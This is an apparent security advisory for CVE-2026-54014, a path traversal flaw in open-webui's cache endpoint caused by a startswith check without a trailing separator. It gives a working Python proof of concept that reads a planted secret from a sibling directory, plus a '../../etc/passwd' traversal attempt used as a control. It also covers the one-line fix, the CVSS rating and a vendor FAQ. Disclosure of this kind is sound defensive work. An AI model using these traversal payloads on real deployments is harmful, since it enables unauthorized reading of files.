CVE-2026-54014

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)), without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed, limited to sibling-prefix directories.

Exploitation constraints

Vulnerability Details

Vulnerable function: serve_cache_file()

# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

poc.py

import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-54014 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

1. What is CVE-2026-54014? CVE-2026-54014 is a medium-severity path traversal vulnerability in open-webui (pip), affecting versions <= 0.9.5. It is fixed in 0.9.6. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-54014? CVE-2026-54014 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-54014? open-webui (pip) versions <= 0.9.5 is affected.
4. Is there a fix for CVE-2026-54014? Yes. CVE-2026-54014 is fixed in 0.9.6. Upgrade to this version or later.
5. Is CVE-2026-54014 exploitable, and should I be worried? Whether CVE-2026-54014 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54014 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54014? Upgrade open-webui to 0.9.6 or later.